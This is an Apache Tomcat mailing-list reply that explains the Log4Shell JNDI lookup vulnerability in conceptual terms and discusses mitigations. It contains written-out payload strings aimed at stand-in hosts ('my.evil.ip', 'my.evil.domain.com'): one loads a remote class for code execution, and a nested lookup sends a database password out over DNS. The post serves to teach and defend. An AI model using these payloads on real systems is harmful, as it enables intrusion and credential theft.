James,

On 12/13/21 14:48, James H. H. Lampert wrote:
On 12/13/21 10:53 AM, Mark Thomas wrote:
Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any more format strings. This means the output of one format string can insert a new format string.
. . .

Thanks. It's starting to make sense to me now, even given that much of it involves Java functionality I'd never heard of.

After re-reading the Veracode article in light of what you said, I then found a couple of Wikipedia articles that further clarify things, for me at least:

https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell

So it's the ability to resolve stuff of the general format "${prefix:name}" within a log string, that's the problem.

It's starting to reach a point where I can wrap my 59-year-old little grey cells around it.

As much fun as it is to talk about this stuff, "we" (ASF volunteers, as well as many others) tend to try not to provide examples of how to exploit vulnerabilities. In this case, all you have to do it search GitHub for this CVE or "log4shell" on GitHub and you can see lots of examples.

In this case, the cat is out of the bag. I'm still not going to provide specific examples, but I can help you understand, conceptually.

The link Mark provided in a separate response has some of the dirty details. Without talking at that level of detail, the worst attack works essentially like this:

1. Attacker hosts an RMI server, which is a thing that allows Java (client) applications to remotely-load .class files from other places. This is great in an "enterprise" environment because a service can tell a client "here is the thing you need to work with me" instead of saying "well, if you don't have foo-bar-1.4.5.jar loaded then you can piss off." It's handy... and seriously dangerous if you aren't careful.

Any evildoer can do this whenever they want, there is nothing stopping them, nor is it really that damaging to the world in general. Just like I can brew poison in my own bathtub, if nobody is drinking from my bathtub (ew?), it's not likely to cause too much sickness or death.

2. A vulnerability is discovered and reported in log4j. This allows log *messages* to contain JNDI lookups. This includes attacker-controlled things like e.g.:

log.info("FYI User " + username + " just searched for search string " + queryString);

Pretty innocuous, right? Well, if the search string looks like ${jndi:[stuff]} then ... boom.

3. JNDI lookups allow you to request that information be pulled-in from an LDAP server. JNDI across the network is essentially the same thing as LDAP (or "Active Directory" if that's what you use... AD is LDAP). One of the things you can tell your JNDI lookup to do is load a .class file over the network and use it for $stuff.

4. Remember that evil RMI server we set up in #1 above? Well, unless you are filtering-out LDAP connections to random IPs (and, really, you *should be*), then I as an attacking user can just go to your application and search for

  "Hey buddy lol ${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}";

At this point, log4j will consider this string to log:

FYI User chris just searched for the search string Hey buddy lol ${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}

Oh, look, there's a magic "${jndi:" thing in there. Let's helpfully resolve that...

The JNDI lookup causes your server to reach-out to my.evil.ip, pull a reference for that class across the wire, then pull the class definition across the wire, and run the evil class code on your server.

At this point, the resulting string written to the log does make a bit of difference. The evil code has been loaded onto your server and you have a Bad Day.

Now, this can be mitigated in a number of ways, which is nice. My two favorite (and incomplete) ways to mitigate this are:

1. Don't allow outgoing LDAP connections from your server. In fact, it doesn't matter if they are LDAP or not. Don't allow outgoing connections from your servers except the required[1] ones.

2. Recent Java versions automatically disable remote-classloading via LDAP to prevent this kind of monkey business. But there are ways to make it work anyway.

This is why we can't have nice things.

RCE is bad m'kay, but let's say that you don't allow outgoing network connections AT ALL from your server, so you are TOTALLY IMMUNE from this kind of attack. Well, RCE ain't the only thing possible.

Data exfiltration is an often-overlooked attack that can still be pretty bad. It's "limited" to what can be found in/through JNDI but ... it's possible to find quite a bit of interesting information that way. How? Those log messages aren't being sent to the attacker! How can a logging leak give-out that kind of information?

It's a little complicated, but stick with me.

Let's say I search for this:

${jndi:/lookup?name=ldap://${jndi:/comp/env/jdbc/mydb/password}.my.evil.domain.com/}

Assuming that you store your JDBC password in your JNDI environment (which is not uncommon), and I have guessed its path correctly, log4j will first resolve the "inner" JNDI lookup converting the log message to, for example:

${jndi:/lookup?name=ldap://TaylorSwiftRocks.my.evil.domain.com/}

Then it checks again to see if there are any remaining JNDI lookups to be done. Oh, look! There's another one!

In this example, all outgoing network connections are prohibited, except for DNS to my local, super-duper-trusted, definitely not evil or compromised DNS resolver. Because we all need DNS. Java doesn't know, yet, that the hostname listed there isn't local. It might resolve to 127.0.0.1, which would be fine! So it has to ask the local, trusted, etc. DNS server "hey what's the IP for 'TaylorSwiftRocks.my.evil.domain.com'". Your local, trusted, definitely not-compromised DNS server says "*shrug* I have to go ask the authoritative name server for my.evil.domain.com. Hang on a sec..."

Oh, did I mention that the attacker runs the authoritative name server for my.evil.domain.com? That's important for this story. Yeah, there's an evil name server that gets all DNS requests for my.evil.domain.com, and it logs everything. So when your bulletproof DNS server requests the IP address for TaylorSwiftRocks.my.evil.domain.com, I get the following information:

1. Your server's IP address (possibly through a proxy)
2. Your database password.

Then I can return whatever the hell I want. NXDOMAIN. A 127.0.0.1. AAAA f00:dead:beef:1::3.. it doesn't matter. I have your IP and password.

Okay, maybe I'll never be able to connect to your database from the outside. But maybe you have other services using that password. Maybe you have other interesting information in JNDI. All I have to do is spam the crap our of your server with these JNDI requests and I helpfully get a DNS lookup for anything interesting coming back to my evil DNS authoritative name server.

If you've never seen this kind of attack explained, it can be ... surprising. Data exfiltration is an art, and doing it through DNS is fine art.

-chris

[1] A colleague pointed-out to me that "you need to allow DNS, and there is nothing stopping me from running my evil RMI server on port 53 on my server." Fair point. Okay, what if I only allow connections to my local, trusted DNS server?[2]

[2] Go back and read about how your trusty DNS server can be a conduit for Bad Stuff.

---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Reply via email to